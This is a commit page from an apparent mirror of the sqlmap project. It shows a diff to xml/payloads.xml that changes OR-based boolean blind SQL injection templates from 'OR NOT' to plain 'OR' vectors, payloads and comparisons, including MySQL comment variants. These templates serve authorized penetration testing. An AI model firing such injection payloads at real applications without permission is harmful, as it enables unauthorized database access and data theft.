CERBERUS/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2026-07-26 01:53:48 +00:00
Code Issues Projects Releases Packages Wiki Activity Actions 1

improvement toward proper implementation of OR-based injection by usage of "negative logic" mechanism

Browse source
This commit is contained in:
Miroslav Stampar 2012-03-29 14:33:27 +00:00
parent ce4c697bbd
commit 637a8d8273
5 changed files with 23 additions and 16 deletions
Download patch file Download diff file Expand all files Collapse all files

18
xml/payloads.xml
View file

@ -615,12 +615,12 @@ Formats:
<risk>3</risk>
<clause>1</clause>
<where>2</where>
<vector>OR NOT ([INFERENCE])</vector>
<vector>OR ([INFERENCE])</vector>
<request>
<payload>OR NOT ([RANDNUM]=[RANDNUM])</payload>
<payload>OR ([RANDNUM]=[RANDNUM])</payload>
</request>
<response>
<comparison>OR NOT ([RANDNUM]=[RANDNUM1])</comparison>
<comparison>OR ([RANDNUM]=[RANDNUM1])</comparison>
</response>
</test>
@ -631,13 +631,13 @@ Formats:
<risk>3</risk>
<clause>1</clause>
<where>2</where>
<vector>OR NOT ([INFERENCE])</vector>
<vector>OR ([INFERENCE])</vector>
<request>
<payload>OR NOT ([RANDNUM]=[RANDNUM])</payload>
<payload>OR ([RANDNUM]=[RANDNUM])</payload>
<comment>#</comment>
</request>
<response>
<comparison>OR NOT ([RANDNUM]=[RANDNUM1])</comparison>
<comparison>OR ([RANDNUM]=[RANDNUM1])</comparison>
</response>
<details>
<dbms>MySQL</dbms>
@ -651,13 +651,13 @@ Formats:
<risk>3</risk>
<clause>1</clause>
<where>2</where>
<vector>OR NOT ([INFERENCE])</vector>
<vector>OR ([INFERENCE])</vector>
<request>
<payload>OR NOT ([RANDNUM]=[RANDNUM])</payload>
<payload>OR ([RANDNUM]=[RANDNUM])</payload>
<comment>-- </comment>
</request>
<response>
<comparison>OR NOT ([RANDNUM]=[RANDNUM1])</comparison>
<comparison>OR ([RANDNUM]=[RANDNUM1])</comparison>
</response>
</test>